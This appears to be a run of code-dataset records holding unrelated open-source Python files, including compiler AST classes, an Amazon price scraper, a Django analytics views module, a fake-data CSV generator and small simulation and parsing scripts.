= self.schedule_eager_promises(resolver, queue)\n return {(self, EagerPromise): WrappedValueVariable(promises)} if promises else {}\n\n def schedule_eager_promises(self, resolver: Resolver, queue: QueueScheduler) -> Sequence[\"EagerPromise\"]:\n \"\"\"\n Schedules this statement's eager promises to be acquired in the given dynamic context.\n \"\"\"\n return [promise.schedule(self, resolver, queue) for promise in self.get_own_eager_promises()]\n\n def execute(self, requires: Dict[object, object], resolver: Resolver, queue: QueueScheduler) -> object:\n \"\"\"\n execute the statement, give the values provided in the requires dict.\n These values correspond to the values requested via requires_emit\n \"\"\"\n self._fulfill_promises(requires)\n return None\n\n def _fulfill_promises(self, requires: Dict[object, object]) -> None:\n \"\"\"\n Given a requires dict, fulfills this statements dynamic promises\n \"\"\"\n promises: Sequence[\"EagerPromise\"]\n try:\n promises = requires[(self, EagerPromise)]\n except KeyError:\n return\n for promise in promises:\n promise.fulfill()\n\n\n@dataclass(frozen=True)\nclass AttributeAssignmentLHS:\n instance: \"Reference\"\n attribute: str\n type_hint: Optional[\"Type\"] = None\n\n\nclass ExpressionStatement(RequiresEmitStatement):\n __slots__ = ()\n\n def requires(self) -> List[str]:\n \"\"\"\n List of all variable names used by this statement. Artifact from the past, hardly used anymore.\n \"\"\"\n raise NotImplementedError()\n\n def execute_direct(self, requires: abc.Mapping[str, object]) -> object:\n \"\"\"\n Execute this statement in a static context without any scheduling, returning the expression's result.\n\n :param requires: A dictionary mapping names to values.\n \"\"\"\n raise DirectExecuteException(self, f\"The statement {str(self)} can not be executed in this context\")\n\n def normalize(self, *, lhs_attribute: Optional[AttributeAssignmentLHS] = None) -> None:\n \"\"\"\n :param lhs_attribute: The left hand side attribute if this expression is a right hand side in an attribute assignment.\n If not None, that caller is responsible for making sure the reference resolves to the correct instance as soon as\n this statement enters the `requires_emit` stage. As a result, it should always be None if the instance construction\n depends on this statement.\n \"\"\"\n raise NotImplementedError()\n\n def as_constant(self) -> object:\n \"\"\"\n Returns this expression as a constant value, if possible. Otherwise, raise a RuntimeException.\n \"\"\"\n raise RuntimeException(None, \"%s is not a constant\" % self)\n\n def get_dataflow_node(self, graph: DataflowGraph) -> dataflow.NodeReference:\n \"\"\"\n Return the node in the data flow graph this ExpressionStatement will evaluate to.\n \"\"\"\n raise NotImplementedError()\n\n\nclass Resumer(Locatable):\n \"\"\"\n Resume on a set of requirement variables' values when they become ready (i.e. they are complete).\n \"\"\"\n\n __slots__ = ()\n\n def resume(self, requires: Dict[object, object], resolver: Resolver, queue: QueueScheduler, target: ResultVariable) -> None:\n pass\n\n\nclass RawResumer(Locatable):\n \"\"\"\n Resume on a set of requirement variables when they become ready (i.e. they are complete).\n \"\"\"\n\n __slots__ = ()\n\n def resume(self, requires: Dict[object, VariableABC], resolver: Resolver, queue: QueueScheduler) -> None:\n pass\n\n\nclass VariableReferenceHook(RawResumer):\n \"\"\"\n Generic helper class for adding a hook to a variable (ResultVariable) object. Supports both plain variables and instance\n attributes. Calls variable resumer with the variable object as soon as it's available. Resolves to a variable object that is\n as specific and representative as possible. May resolve to a proxy object only when propagating unset.\n This class is not a full AST node, rather it is a Resumer only. It is meant to delegate common resumer behavior that would\n otherwise need to be implemented as custom resumer logic in each class that needs it.\n\n :param instance: The instance this variable is an attribute of, if any. Can be a reference to a nested relation instance.\n :param name: The name of the variable or instance attribute.\n :param variable_resumer: The resumer that should be called when a value becomes available.\n :param propagate_unset: If True, propagate unset exceptions during instance execution to the resumer.\n \"\"\"\n\n __slots__ = (\"instance\", \"name\", \"variable_resumer\", \"propagate_unset\")\n\n def __init__(\n self,\n instance: Optional[\"Reference\"],\n name: str,\n variable_resumer: \"VariableResumer\",\n *,\n propagate_unset: bool = False,\n ) -> None:\n super().__init__()\n self.instance: Optional[\"Reference\"] = instance\n self.name: str = name\n self.variable_resumer: \"VariableResumer\" = variable_resumer\n self.propagate_unset: bool = propagate_unset\n\n def schedule(self, resolver: Resolver, queue: QueueScheduler) -> None:\n \"\"\"\n Schedules this instance for execution. Waits for the variable's requirements before resuming.\n \"\"\"\n if self.instance is None:\n self.resume({}, resolver, queue)\n else:\n RawUnit(\n queue,\n resolver,\n # no need for gradual execution here because this class represents an attribute reference on self.instance,\n # which is not allowed on multi variables (the only kind of variables that would benefit from gradual execution)\n self.instance.requires_emit(resolver, queue, propagate_unset=self.propagate_unset),\n self,\n )\n\n def resume(self, requires: Dict[object, VariableABC], resolver: Resolver, queue: QueueScheduler) -> None:\n \"\"\"\n Fetches the variable when it's available and calls variable resumer.\n \"\"\"\n variable: VariableABC[object]\n if self.instance is not None:\n # get the Instance\n instance_requires: dict[object, object] = {}\n unset: Optional[VariableABC] = None\n for k, v in requires.items():\n try:\n instance_requires[k] = v.get_value()\n except (OptionalValueException,) if self.propagate_unset else ():\n unset = v\n break\n\n if unset is not None:\n # propagate unset variable up the attribute reference chain\n variable = unset\n else:\n # all requires are present, execute instance\n instance: object = self.instance.execute(instance_requires, resolver, queue)\n\n if isinstance(instance, list):\n raise RuntimeException(\n self, \"can not get attribute %s, %s is not an entity but a list\" % (self.name, instance)\n )\n if not isinstance(instance, Instance):\n raise RuntimeException(\n self,\n \"can not get attribute %s, %s is not an entity but a %s with value '%s'\"\n % (self.name, self.instance, type(instance).__name__, instance),\n )\n\n # get the attribute result variable\n variable = instance.get_attribute(self.name)\n else:\n obj: Typeorvalue = resolver.lookup(self.name)\n if not isinstance(obj, ResultVariable):\n raise RuntimeException(self, \"can not get variable %s, it is a type\" % self.name)\n variable = obj\n\n self.variable_resumer.variable_resume(variable, resolver, queue)\n\n def emit(self, resolver: Resolver, queue: QueueScheduler) -> None:\n raise RuntimeException(self, \"%s is not an actual AST node, it should never be executed\" % self.__class__.__name__)\n\n def execute(self, requires: Dict[object, object], resolver: Resolver, queue: QueueScheduler) -> object:\n raise RuntimeException(self, \"%s is not an actual AST node, it should never be executed\" % self.__class__.__name__)\n\n def __str__(self) -> str:\n return \"%s.%s\" % (self.instance, self.name)\n\n def __repr__(self) -> str:\n return \"%s(%r, %s, %r, propagate_unset=%r)\" % (\n self.__class__.__name__,\n self.instance,\n self.name,\n self.variable_resumer,\n self.propagate_unset,\n )\n\n\nclass VariableResumer:\n \"\"\"\n Resume execution on a variable object when it becomes available (i.e. it exists).\n \"\"\"\n\n __slots__ = ()\n\n def variable_resume(\n self,\n variable: VariableABC,\n resolver: Resolver,\n queue: QueueScheduler,\n ) -> None:\n \"\"\"\n Resume execution with the given result variable.\n \"\"\"\n raise NotImplementedError()\n\n\n@dataclass(frozen=True)\nclass StaticEagerPromise:\n \"\"\"\n Static representation of an eager promise for an attribute assignment.\n\n :ivar instance: The reference to the instance on which to acquire a promise. Might differ from the assign statement's\n reference due to scoping differences between the context where the statement is executed and the one where the promise\n is acquired.\n :ivar attribute: The attribute name for which to acquire a promise.\n :ivar statement: The assignment statement that led to this promise.\n \"\"\"\n\n instance: \"Reference\"\n attribute: str\n statement: \"SetAttribute\"\n\n def get_root_variable(self) -> str:\n \"\"\"\n Returns the name of the variable at the start of the attribute traversal chain. e.g. for a.b.c.d, returns \"a\". Includes\n namespace information if specified in the original reference.\n \"\"\"\n return self.instance.get_root_variable().name\n\n def schedule(self, responsible: DynamicStatement, resolver: Resolver, queue: QueueScheduler) -> \"EagerPromise\":\n \"\"\"\n Schedule the acquisition of this promise in a given dynamic context: set up a waiter to wait for the referenced\n ResultVariable to exist, then acquire the promise.\n\n :param responsible: The statement responsible for this eager promise, i.e. the statement that will fulfill it once it\n will make no further progression.\n \"\"\"\n dynamic: \"EagerPromise\" = EagerPromise(self, responsible)\n hook: VariableReferenceHook = VariableReferenceHook(\n self.instance,\n self.attribute,\n variable_resumer=dynamic,\n propagate_unset=True,\n )\n self.statement.copy_location(hook)\n hook.schedule(resolver, queue)\n return dynamic\n\n\nclass EagerPromise(VariableResumer):\n \"\"\"\n Dynamic node for eager promising (stateful). Eagerly acquires a progression promise on a variable when it becomes available.\n Fulfilling this promise aborts the waiter if it has not finished yet, otherwise it fulfills the acquired progression\n promise.\n \"\"\"\n\n def __init__(self, static: StaticEagerPromise, responsible: DynamicStatement) -> None:\n super().__init__()\n self.static: StaticEagerPromise = static\n self.responsible: DynamicStatement = responsible\n self._promise: Optional[ProgressionPromise] = None\n self._fulfilled: bool = False\n\n def _acquire(self, variable: VariableABC) -> None:\n \"\"\"\n Entry point for the ResultVariable waiter: actually acquire the promise\n \"\"\"\n if not self._fulfilled:\n assert self._promise is None\n self._promise = variable.get_progression_promise(self.responsible)\n\n def fulfill(self) -> None:\n \"\"\"\n If a promise was already acquired, fulfills it, otherwise makes sure that no new promise is acquired when the variable\n becomes available.\n \"\"\"\n if self._promise is not None:\n self._promise.fulfill()\n self._fulfilled = True\n\n def variable_resume(\n self,\n variable: VariableABC,\n resolver: Resolver,\n queue: QueueScheduler,\n ) -> None:\n self._acquire(variable)\n\n\nclass ReferenceStatement(ExpressionStatement):\n \"\"\"\n This class models statements that refer to other statements\n \"\"\"\n\n __slots__ = (\"children\",)\n\n def __init__(self, children: Sequence[ExpressionStatement]) -> None:\n ExpressionStatement.__init__(self)\n self.children: Sequence[ExpressionStatement] = children\n self.anchors.extend((anchor for e in self.children for anchor in e.get_anchors()))\n\n def normalize(self, *, lhs_attribute: Optional[AttributeAssignmentLHS] = None) -> None:\n for c in self.children:\n c.normalize()\n\n def get_all_eager_promises(self) -> Iterator[\"StaticEagerPromise\"]:\n return chain(super().get_all_eager_promises(), *(subexpr.get_all_eager_promises() for subexpr in self.children))\n\n def requires(self) -> List[str]:\n return [req for v in self.children for req in v.requires()]\n\n def requires_emit(self, resolver: Resolver, queue: QueueScheduler) -> Dict[object, VariableABC]:\n requires: Dict[object, VariableABC] = super().requires_emit(resolver, queue)\n requires.update({rk: rv for i in self.children for (rk, rv) in i.requires_emit(resolver, queue).items()})\n return requires\n\n\nclass AssignStatement(DynamicStatement):\n \"\"\"\n This class models binary sts\n \"\"\"\n\n __slots__ = (\"lhs\", \"rhs\")\n\n def __init__(self, lhs: Optional[\"Reference\"], rhs: ExpressionStatement) -> None:\n DynamicStatement.__init__(self)\n self.lhs: Optional[\"Reference\"] = lhs\n self.rhs: ExpressionStatement = rhs\n if lhs is not None:\n self.anchors.extend(lhs.get_anchors())\n self.anchors.extend(rhs.get_anchors())\n\n def normalize(self) -> None:\n self.rhs.normalize()\n\n def get_all_eager_promises(self) -> Iterator[\"StaticEagerPromise\"]:\n return chain(\n super().get_all_eager_promises(),\n (self.lhs.get_all_eager_promises() if self.lhs is not None else []),\n self.rhs.get_all_eager_promises(),\n )\n\n def requires(self) -> List[str]:\n out = self.lhs.requires() if self.lhs is not None else [] # type : List[str]\n out.extend(self.rhs.requires()) # type : List[str]\n return out\n\n def _add_to_dataflow_graph(self, graph: Optional[DataflowGraph]) -> None:\n \"\"\"\n Adds this assignment to the resolver's data flow graph.\n \"\"\"\n raise NotImplementedError()\n\n\nclass Literal(ExpressionStatement):\n __slots__ = (\"value\",)\n\n def __init__(self, value: object) -> None:\n ExpressionStatement.__init__(self)\n self.value = value\n self.lexpos: Optional[int] = None\n\n def normalize(self, *, lhs_attribute: Optional[AttributeAssignmentLHS] = None) -> None:\n pass\n\n def __repr__(self) -> str:\n if isinstance(self.value, bool):\n return repr(self.value).lower()\n return repr(self.value)\n\n def requires(self) -> List[str]:\n return []\n\n def execute(self, requires: Dict[object, object], resolver: Resolver, queue: QueueScheduler) -> object:\n super().execute(requires, resolver, queue)\n return self.value\n\n def execute_direct(self, requires: abc.Mapping[str, object]) -> object:\n return self.value\n\n def as_constant(self) -> object:\n return self.value\n\n def get_dataflow_node(self, graph: DataflowGraph) -> dataflow.ValueNodeReference:\n return dataflow.ValueNode(self.value).reference()\n\n\nclass DefinitionStatement(Statement):\n \"\"\"\n This statement defines a new entity in the configuration.\n \"\"\"\n\n def __init__(self) -> None:\n Statement.__init__(self)\n\n\nclass TypeDefinitionStatement(DefinitionStatement, Named, WithComment):\n def __init__(self, namespace: Namespace, name: str) -> None:\n DefinitionStatement.__init__(self)\n self.name = name\n self.namespace = namespace\n self.fullName = namespace.get_full_name() + \"::\" + str(name)\n self.type = None # type: NamedType\n\n def register_types(self) -> Tuple[str, \"NamedType\"]:\n self.namespace.define_type(self.name, self.type)\n return (self.fullName, self.type)\n\n def evaluate(self) -> None:\n pass\n\n def get_full_name(self) -> str:\n return self.fullName\n\n\nclass BiStatement(DefinitionStatement, DynamicStatement):\n def __init__(self):\n Statement.__init__(self)\n","repo_name":"inmanta/inmanta-core","sub_path":"src/inmanta/ast/statements/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":22734,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"82"} +{"seq_id":"26220102082","text":"import requests as re\nfrom bs4 import BeautifulSoup\n\nHEADERS = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',\n}\ndef getSoup(url):\n response = re.get(url, headers=HEADERS)\n soup = BeautifulSoup(response.text, \"html.parser\")\n return soup\n\ndef getProductDetails(soup):\n map = dict()\n map['title'] = soup.find(\"span\", class_=\"a-size-medium a-color-base a-text-normal\").text\n map['price'] = soup.find(\"span\", class_=\"a-price-whole\").text\n map['del_cost'] = soup.find(\"span\", class_=\"a-color-base\").text\n map['ratings'] = soup.find(\"span\", class_=\"a-icon-alt\").text\n map['img'] = soup.find(\"img\", class_=\"s-image\")['src']\n return map\n\ndef init(search_key):\n url = \"https://www.amazon.in/s?k=\"+search_key\n soup = getSoup(url)\n DETAILS_MAP = getProductDetails(soup)\n print(DETAILS_MAP)\n return DETAILS_MAP\n\n","repo_name":"Aaditya1612/Price-Comparator","sub_path":"extractorapi/extractorScripts/amazon.py","file_name":"amazon.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14520431285","text":"# https://onlinejudge.u-aizu.ac.jp/problems/2013\n\n\ndef to_my_time_unit(time_str: str):\n hour, minute, second = map(int, time_str.split(sep=':'))\n return int(hour) * 60*60 + int(minute) * 60 + int(second)\n\n\ndef solve(n):\n A = [0 for _ in range(24 * 60 * 60+1)]\n for _ in range(n):\n start_str, end_str = input().split()\n start = to_my_time_unit(start_str)\n end = to_my_time_unit(end_str)\n A[start] += 1\n A[end] -= 1\n B = [0 for _ in range(24 * 60 * 60+1)]\n tmp = 0\n for i in range(24 * 60 * 60+1):\n tmp += A[i]\n B[i] = tmp\n print(max(B))\n\n\nif __name__ == \"__main__\":\n while True:\n n = int(input())\n if n == 0:\n break\n solve(n)\n","repo_name":"yoshikipom/to_light_blue","sub_path":"082.py","file_name":"082.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37410190046","text":"from faker import Faker\r\nimport csv\r\nfrom datetime import date\r\nimport random\r\n\r\nfake = Faker('ru_RU')\r\n\r\ndef fake_companies(num_rows=10):\r\n companies = []\r\n for _ in range(num_rows):\r\n companies.append(\r\n [fake.large_company(), fake.city_name(),\r\n fake.street_address(), fake.phone_number()]\r\n )\r\n return companies\r\n\r\n\r\ndef fake_enployees(companies, num_rows=10):\r\n employees = []\r\n for company in companies:\r\n for _ in range(num_rows):\r\n employee = [fake.name(), fake.job(), fake.phone_number(),\r\n fake.free_email(), fake.date_of_birth(minimum_age=18, maximum_age=70)]\r\n employees.append(company + employee)\r\n return employees\r\n\r\n\r\ndef fake_payments(employees):\r\n payments = []\r\n for employee in employees:\r\n for month in range(1, 13):\r\n payment_date = date(2020, month, random.randint(10, 28))\r\n ammount = random.randint(10000, 200000)\r\n payment = [payment_date, ammount]\r\n payments.append(employee + payment)\r\n return payments\r\n\r\n\r\n# выводим фейковые данные\r\n# print(fake.name(), fake.city_name(), fake.large_company())\r\n\r\n# нужное количество строчек в csv файле\r\n#def get_fake_row():#\r\n# return [fake.name(), fake.city_name(), fake.street_address(),\r\n# fake.large_company(),\r\n# fake.job(), fake.phone_number(), fake.free_email(),\r\n# fake.date_of_birth(minimum_age=18, maximum_age=70),\r\n# random.randint(20000, 200000)]\r\n\r\n# функция записи в csv файл\r\n\r\ndef generate_data(payments):\r\n with open('salary.csv', 'w', encoding='utf-8') as f:\r\n writer = csv.writer(f, delimiter=';')\r\n for payment in payments:\r\n # передаю сюда список из предыдущей функции для записи значений в таблицу\r\n writer.writerow(payment)\r\n\r\nif __name__ == '__main__':\r\n companies = fake_companies()\r\n employees = fake_enployees(companies)\r\n payments = fake_payments(employees)\r\n generate_data(payments)","repo_name":"UncleStifler/LearnPython","sub_path":"DB/create_data.py","file_name":"create_data.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23268485967","text":"from datetime import datetime, timedelta\nimport time\n\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.db.models import Q, Count\nfrom django.http import JsonResponse, Http404, HttpRequest, HttpResponse\nfrom django.shortcuts import render, redirect\nfrom .models import *\nfrom . import reports\n\n\ndef home(request) -> HttpResponse:\n \"\"\"View for the index/landing page.\n\n After rendering the HttpResponse, it is temporarily added to the cache.\n This function checks whether the response is available in the cache,\n and will use it if available to save resources.\n\n Args:\n request: a standard HttpRequest\n\n Returns:\n HttpResponse: a standard HttpResponse from templates/home.html\n \"\"\"\n # try to get response from cache\n response = cache.get(\"home_response\")\n if response is not None and settings.DEBUG is False:\n return response\n\n cur_submissions = \\\n Submission.objects.filter(rank__gt=0).order_by('rank')[:100]\n\n sr_scores = SubredditScore.objects.all().order_by('-timestamp')[:100]\n active_subreddits = [sr_score.subreddit for sr_score in sr_scores]\n active_subreddits = list(set(active_subreddits))[:10]\n\n top_submissions = Submission.objects.filter(\n created_at__gte=datetime.utcnow() - timedelta(weeks=1)\n ).order_by('-score')[:9]\n\n cumulative_stats = {\n 'submissions': Submission.objects.all().count(),\n 'score': TotalScore.objects.latest('timestamp').score\n if TotalScore.objects.count() > 0 else 0,\n 'comments': TotalNumComments.objects.latest('timestamp').num_comments\n if TotalNumComments.objects.count() > 0 else 0,\n 'subreddits': Subreddit.objects.all().count()\n }\n\n # calculate rank deltas\n for submission in cur_submissions:\n rank_delta = 0\n if submission.rank_previous != -1 and submission.rank != -1:\n rank_delta = submission.rank_previous - submission.rank\n\n if rank_delta > 0:\n shape = '▲'\n color = 'green'\n elif rank_delta < 0:\n shape = '▼'\n color = 'red'\n else:\n shape = '▬'\n color = 'orange'\n submission.delta_color = color\n submission.delta_string = \"%s%d\" % (shape, rank_delta)\n\n response = render(request, 'home.html', {\n 'page_category': 'posts',\n 'cur_submissions': cur_submissions,\n 'active_subreddits': active_subreddits,\n 'top_submissions': top_submissions,\n 'cumulative_stats': cumulative_stats\n })\n cache.set(\"home_response\", response, 1200)\n return response\n\n\ndef subreddits(request) -> HttpResponse:\n \"\"\"View for the subreddits listing page.\n\n After rendering the HttpResponse, it is temporarily added to the cache.\n This function checks whether the response is available in the cache,\n and will use it if available to save resources.\n\n Args:\n request: a standard HttpRequest\n\n Returns:\n HttpResponse: a standard HttpResponse from templates/subreddits.html\n \"\"\"\n # try to get response from cache\n response = cache.get(\"subreddits_response\")\n if response is not None and settings.DEBUG is False:\n return response\n\n subreddits = Subreddit.objects.order_by('-tracked_submissions')[:50]\n agreeable_subreddits = Subreddit.objects \\\n .exclude(tracked_submissions__lt=30) \\\n .order_by('-average_upvote_ratio')[:5]\n controversial_subreddits = Subreddit.objects \\\n .exclude(tracked_submissions__lt=30) \\\n .order_by('average_upvote_ratio')[:5]\n recent_subreddits = Subreddit.objects \\\n .order_by('-created_at')[:10]\n\n response = render(request, 'subreddits.html', {\n 'page_category': 'subreddits',\n 'subreddits': subreddits,\n 'agreeable_subreddits': agreeable_subreddits,\n 'controversial_subreddits': controversial_subreddits,\n 'recent_subreddits': recent_subreddits\n })\n cache.set(\"subreddits_response\", response, 1200)\n return response\n\n\ndef about(request) -> HttpResponse:\n \"\"\"View for the about page.\n\n Args:\n request: a standard HttpRequest\n\n Returns:\n HttpResponse: a standard HttpResponse from templates/about.html\n \"\"\"\n return render(request, 'about.html', {\n 'page_category': 'about'\n })\n\n\ndef api(request) -> JsonResponse:\n \"\"\"View for accessing the public API.\n\n Args:\n request: a standard HttpRequest;\n name: (HTTP parameter) type of data to retrieve;\n id: (HTTP parameter) identifier for the data, if applicable\n\n Returns:\n JsonResponse: a JSON formatted data set\n \"\"\"\n name = request.GET.get('name', '')\n\n if name == 'submission':\n data = reports.submission(request)\n elif name == 'subreddit':\n data = reports.subreddit(request)\n elif name == 'cumulative':\n data = reports.cumulative(request)\n\n return JsonResponse(data)\n\n\ndef submission(request, id) -> HttpResponse:\n \"\"\"View for an individual submission's page.\n\n After rendering the HttpResponse, it is temporarily added to the cache.\n This function checks whether the response is available in the cache,\n and will use it if available to save resources.\n\n Args:\n request: a standard HttpRequest;\n id: the submission's id\n\n Returns:\n HttpResponse: a standard HttpResponse from templates/submission.html\n \"\"\"\n try:\n submission = Submission.objects.get(id=id)\n except Submission.DoesNotExist:\n raise Http404(\"Submission was not found\")\n\n # try to get response from cache\n response = cache.get(\"submission_response_%s\" % id)\n if response is not None and settings.DEBUG is False:\n return response\n\n submission_scores = SubmissionScore.objects.filter(\n submission=submission).order_by('timestamp')\n\n # lifetime and rise time\n if len(submission_scores) > 0:\n lifetime_delta = \\\n submission_scores[len(submission_scores) - 1].timestamp - \\\n submission_scores[0].timestamp\n lifetime = lifetime_delta.seconds\n rise_time_delta = \\\n submission_scores[0].timestamp - submission.created_at\n rise_time = rise_time_delta.seconds\n else:\n lifetime = rise_time = 0\n\n response = render(request, 'submission.html', {\n 'page_category': 'posts',\n 'submission': submission,\n 'lifetime': lifetime,\n 'rise_time': rise_time,\n })\n cache.set(\"submission_response_%s\" % id, response, 1200)\n return response\n\n\ndef subreddit(request, subreddit) -> HttpResponse:\n \"\"\"View for an individual subreddit's page.\n\n After rendering the HttpResponse, it is temporarily added to the cache.\n This function checks whether the response is available in the cache,\n and will use it if available to save resources.\n\n Args:\n request: a standard HttpRequest;\n subreddit: the name of the subreddit\n\n Returns:\n HttpResponse: a standard HttpResponse from templates/subreddit.html\n \"\"\"\n try:\n subreddit = Subreddit.objects.get(name__iexact=subreddit)\n except Subreddit.DoesNotExist:\n raise Http404(\"Subreddit was not found\")\n\n # try to get response from cache\n response = cache.get(\"subreddit_response_%s\" % subreddit.name)\n if response is not None and settings.DEBUG is False:\n return response\n\n submissions = Submission.objects.filter(subreddit=subreddit)\n top_submissions = submissions.order_by('-score')[:50]\n recent_submissions = submissions.order_by('-created_at')[:12]\n agreeable_submissions = submissions.order_by('-upvote_ratio')[:5]\n controversial_submissions = submissions.order_by('upvote_ratio')[:5]\n\n if len(submissions) == 0:\n raise Http404(\"Subreddit has no recorded submissions\")\n\n response = render(request, 'subreddit.html', {\n 'page_category': 'subreddits',\n 'subreddit': subreddit,\n 'top_submissions': top_submissions,\n 'recent_submissions': recent_submissions,\n 'agreeable_submissions': agreeable_submissions,\n 'controversial_submissions': controversial_submissions\n })\n cache.set(\"subreddit_response_%s\" % subreddit.name, response, 1200)\n return response\n\n\ndef search(request) -> HttpResponse:\n \"\"\"View for the search page.\n\n Primitively provides search functionality by retrieving a list of\n submissions which wholly contain the given query. Additionally retrieves\n a list of subreddits based on the subreddit of top results.\n\n Args:\n request: a standard HttpRequest;\n query: (HTTP parameter) the search query;\n order_by: (HTTP parameter) how to sort the resulting submissions;\n time: (HTTP parameter) time frame which submissions must be within;\n from_subreddits: (HTTP parameter) comma separated list of subreddits\n\n Returns:\n HttpResponse: a standard HttpResponse from templates/search.html\n \"\"\"\n query = request.GET.get('q', '')\n order_by = request.GET.get('order_by', '')\n time = request.GET.get('time', 'month')\n from_subreddits = request.GET.get('from_subreddits', '')\n\n # if no query was given\n if not query:\n return render(request, 'search.html')\n else:\n # strip leading and trailing whitespace\n query = query.strip()\n\n # determine if query is a link to a submission\n if \"//reddit.com\" in query or \"//www.reddit.com\" in query:\n submission_id = query.split('/comments/')[1].split('/')[0]\n return redirect('/submission/%s' % submission_id)\n elif \"//redd.it\" in query:\n submission_id = query.split('//redd.it/')[1]\n return redirect('/submission/%s' % submission_id)\n else:\n if len(query) < 300:\n # get all matching submissions\n submissions = Submission.objects.filter(title__search=query)\n\n # order submissions\n # order_by == 'relevance' is just the default order\n if order_by == 'karma':\n submissions = submissions.order_by('-score')\n elif order_by == 'comments':\n submissions = submissions.order_by('-num_comments')\n\n # remove submissions not in time frame\n if time and time != 'all':\n current_time = datetime.utcnow()\n if time == 'today':\n prev_time = current_time - timedelta(days=1)\n elif time == 'week':\n prev_time = current_time - timedelta(weeks=1)\n elif time == 'month':\n prev_time = current_time - timedelta(days=30)\n elif time == 'year':\n prev_time = current_time - timedelta(days=365)\n else:\n prev_time = current_time\n submissions = submissions.filter(created_at__gte=prev_time)\n\n # remove submissions not in requested subreddits\n if from_subreddits is not None and from_subreddits is not '':\n subreddit_objs = ['']\n for from_subreddit in from_subreddits.split(','):\n try:\n subreddit_objs.append(Subreddit.objects.get(\n name__iexact=from_subreddit))\n except Subreddit.DoesNotExist:\n continue\n\n # create query which ORs subreddit matches\n query_objs = Q()\n for subreddit in subreddit_objs:\n query_objs.add(Q(subreddit=subreddit), Q.OR)\n\n submissions = submissions.filter(query_objs)\n\n # get relevant subreddits\n relevant_subreddits = []\n for term in query.split(' '):\n try:\n subreddit = Subreddit.objects.get(name__iexact=term)\n relevant_subreddits.append(subreddit.name)\n except Subreddit.DoesNotExist:\n continue\n for submission in submissions:\n if submission.subreddit.name not in relevant_subreddits:\n relevant_subreddits.append(submission.subreddit.name)\n\n return render(request, 'search.html', {\n 'submissions': submissions,\n 'query': query,\n 'order_by': order_by,\n 'time': time,\n 'from_subreddits': from_subreddits,\n 'relevant_subreddits': relevant_subreddits[:8]\n })\n","repo_name":"xgi/aliendb","sub_path":"web/aliendb/apps/analytics/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12475,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"71992710669","text":"import allure\n\nfrom pages.common.base_element import BaseElement\n\n\nclass StatusIncidentContainer(BaseElement):\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self._reporting_accepted_btn = self.element.s('//button[normalize-space()=\"нарушения исправлены\"]')\n\n @allure.step(\"Нажать на кнопку 'Нарушения исправлены'\")\n def click_reporting_accepted_button(self):\n self._reporting_accepted_btn.click()\n return self\n","repo_name":"ChernikovKonstantin/112autotesttt","sub_path":"pages/incident_card/status_incident_container.py","file_name":"status_incident_container.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22394300692","text":"\nimport os\n\ntry: os.remove('graphic/timeseries/total-results.csv')\nexcept: pass\n\n# Define a configuration updater :-)\ndef update_config(N,P,K,J,T):\n with open('simulation.conf.sh','r') as f:\n d = f.readlines()\n for i,x in enumerate(d):\n if 'TOPOLOGY' in x:\n d[i] = f'TOPOLOGY={T};\\n'\n if 'NNODES' in x:\n d[i] = f'NNODES={N};\\n'\n if 'proba' in x:\n d[i] = f'proba={P};\\n'\n if 'kneigh' in x:\n d[i] = f'kneigh={K};\\n'\n if 'J=' in x or 'J =' in x:\n d[i] = f'J={J};\\n'\n with open('simulation.conf.sh','w') as f:\n for x in d:\n f.write(x)\n\n# User can set the range here\ntry:\n from period_analysis_configuration import SAMPLES,TOPOLOGY,NNODES,PROBA,KNEIGH,J\n print(\"Successfully loaded the period_analysis_configuration file!\")\nexcept:\n print(\"Failed to load the period_analysis_configuration file!\")\n SAMPLES = 1\n TOPOLOGY = 0\n NNODES = [20 + i * 10 for i in range(20)]\n PROBA = [0.5]\n KNEIGH = [3]\n J = [2]\n\n# Compute lengths and assert that only one will ve varied\nLNNODES = len(NNODES)\nLPROBA = len(PROBA)\nLKNEIGH = len(KNEIGH)\nLJ = len(J)\ndfz = False\nLmax = 1\nfor x in [LNNODES, LPROBA, LKNEIGH, LJ]:\n if x!=1:\n if x>Lmax: Lmax = x\n if dfz: raise Exception(\"[ERROR] Only one variable can be varied during the exploration\")\n else: dfz = True\nprint(\"Successfully passed the filtering criteria :-)\")\n\n\ncounter = 0\nLmax *= SAMPLES\nfor _ in range(SAMPLES):\n for N in NNODES:\n for P in PROBA:\n for K in KNEIGH:\n for _J in J:\n update_config(N,P,K,_J,TOPOLOGY)\n print(f'\\n*******\\nStarting {counter+1} of {Lmax}\\n*******\\n')\n os.system('/bin/bash ./capture_period.sh > temp.txt')\n os.remove('temp.txt')\n os.system('python3 python3/store_periodsweep_data.py')\n counter += 1\n","repo_name":"GastonMazzei/NEDISS","sub_path":"python3/capture_period_range.py","file_name":"capture_period_range.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"22522602932","text":"import stanza\n\n\ndef read_file(path):\n with open(path, 'r') as infile:\n text = infile.readlines()\n # print(''.join(text))\n return text\n\n\ndef parse_doc(text):\n nlp = stanza.Pipeline(lang='en', processors='tokenize,mwt,pos,lemma,depparse')\n text = text.lower()\n doc = nlp(text)\n # from the Stanford doc: https://stanfordnlp.github.io/stanza/depparse.html\n # print(*[f'id: {word.id}\\tword: {word.text}\\thead id: {word.head}\\thead: {sent.words[word.head-1].text if word.head > 0 else \"root\"}\\tdeprel: {word.deprel}' for sent in 